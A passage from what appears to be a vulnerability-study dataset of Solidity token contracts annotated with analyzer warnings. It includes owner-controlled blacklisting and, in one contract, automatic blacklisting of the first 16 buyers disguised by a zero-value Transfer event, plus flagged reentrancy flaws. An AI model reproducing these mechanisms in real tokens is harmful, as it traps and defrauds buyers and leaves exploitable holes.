Recommendation for 7c29552: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c0fe2c): BOOKOF6900._maxTaxSwap should be constant \n\t// Recommendation for 5c0fe2c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x695aBD8A8117BF211c10D689FbbB3E6F1e3b62de);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 78beae9): BOOKOF6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 78beae9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8143a16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8143a16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17ba592): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17ba592: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8143a16\n\t\t// reentrancy-benign | ID: 17ba592\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8143a16\n\t\t// reentrancy-benign | ID: 17ba592\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 439e521): BOOKOF6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 439e521: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 17ba592\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8143a16\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 902a1eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 902a1eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b64c9a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b64c9a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 902a1eb\n\t\t\t\t// reentrancy-eth | ID: b64c9a0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 902a1eb\n\t\t\t\t\t// reentrancy-eth | ID: b64c9a0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b64c9a0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b64c9a0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b64c9a0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 902a1eb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b64c9a0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b64c9a0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 902a1eb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8143a16\n\t\t// reentrancy-events | ID: 902a1eb\n\t\t// reentrancy-benign | ID: 17ba592\n\t\t// reentrancy-eth | ID: b64c9a0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8143a16\n\t\t// reentrancy-events | ID: 902a1eb\n\t\t// reentrancy-eth | ID: b64c9a0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d8b3026): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d8b3026: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 73cdd4b): BOOKOF6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 73cdd4b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 46bfeec): BOOKOF6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 46bfeec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5836d42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5836d42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d8b3026\n\t\t// reentrancy-eth | ID: 5836d42\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d8b3026\n\t\t// unused-return | ID: 73cdd4b\n\t\t// reentrancy-eth | ID: 5836d42\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d8b3026\n\t\t// unused-return | ID: 46bfeec\n\t\t// reentrancy-eth | ID: 5836d42\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d8b3026\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5836d42\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10304.sol", "size_bytes": 19942, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3068c73): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 3068c73: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 3068c73\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ERC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a33520): ERC.blacklistCount should be constant \n\t// Recommendation for 4a33520: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 16;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3540c0): ERC._taxWallet should be immutable \n\t// Recommendation for f3540c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: be692dd): ERC._initialBuyTax should be constant \n\t// Recommendation for be692dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b32882): ERC._initialSellTax should be constant \n\t// Recommendation for 0b32882: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54864ba): ERC._finalBuyTax should be constant \n\t// Recommendation for 54864ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b49fca0): ERC._reduceBuyTaxAt should be constant \n\t// Recommendation for b49fca0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca665ce): ERC._reduceSellTaxAt should be constant \n\t// Recommendation for ca665ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48c9184): ERC._preventSwapBefore should be constant \n\t// Recommendation for 48c9184: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: df263eb): ERC._taxSwapThreshold should be constant \n\t// Recommendation for df263eb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e42adc3): ERC._maxTaxSwap should be constant \n\t// Recommendation for e42adc3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d117b8b): ERC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d117b8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 36204aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 36204aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 163c96b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 163c96b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 36204aa\n\t\t// reentrancy-benign | ID: 163c96b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 36204aa\n\t\t// reentrancy-benign | ID: 163c96b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab8184e): ERC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab8184e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c3f9d5d\n\t\t// reentrancy-benign | ID: 163c96b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 36204aa\n\t\t// reentrancy-events | ID: 1c16950\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0deeb7a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0deeb7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 092501f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 092501f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0deeb7a\n\t\t\t\t// reentrancy-eth | ID: 092501f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0deeb7a\n\t\t\t\t\t// reentrancy-eth | ID: 092501f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 092501f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 092501f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 092501f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0deeb7a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 092501f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 092501f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0deeb7a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0deeb7a\n\t\t// reentrancy-events | ID: 36204aa\n\t\t// reentrancy-events | ID: 1c16950\n\t\t// reentrancy-benign | ID: c3f9d5d\n\t\t// reentrancy-benign | ID: 163c96b\n\t\t// reentrancy-eth | ID: 092501f\n\t\t// reentrancy-eth | ID: f1db0b0\n\t\t// reentrancy-eth | ID: 481ff31\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b0fb004): ERC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b0fb004: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0deeb7a\n\t\t// reentrancy-events | ID: 36204aa\n\t\t// reentrancy-events | ID: 1c16950\n\t\t// reentrancy-eth | ID: 092501f\n\t\t// reentrancy-eth | ID: f1db0b0\n\t\t// reentrancy-eth | ID: 481ff31\n\t\t// arbitrary-send-eth | ID: b0fb004\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c16950): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c16950: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c3f9d5d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c3f9d5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 06d7c49): ERC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 06d7c49: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08625a4): ERC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 08625a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1db0b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1db0b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 481ff31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 481ff31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 1c16950\n\t\t// reentrancy-benign | ID: c3f9d5d\n\t\t// reentrancy-eth | ID: f1db0b0\n\t\t// reentrancy-eth | ID: 481ff31\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 1c16950\n\t\t// reentrancy-benign | ID: c3f9d5d\n\t\t// reentrancy-eth | ID: f1db0b0\n\t\t// reentrancy-eth | ID: 481ff31\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 1c16950\n\t\t// reentrancy-benign | ID: c3f9d5d\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 08625a4\n\t\t// reentrancy-eth | ID: 481ff31\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 